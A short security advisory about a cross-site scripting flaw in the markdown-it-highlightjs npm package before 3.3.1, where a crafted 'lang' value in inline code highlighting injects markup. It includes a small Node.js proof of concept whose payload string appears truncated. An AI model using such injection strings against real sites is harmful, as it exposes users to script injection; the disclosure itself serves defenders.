Description
This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require("markdown-it-highlightjs"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.">js}'); console.log(reuslt_xss);
Remediation
References
https://github.com/valeriangalliat/markdown-it-highlightjs/blob/v3.3.0/index.js%23L52
https://github.com/valeriangalliat/markdown-it-highlightjs/pull/14
https://snyk.io/vuln/SNYK-JS-MARKDOWNITHIGHLIGHTJS-1040461
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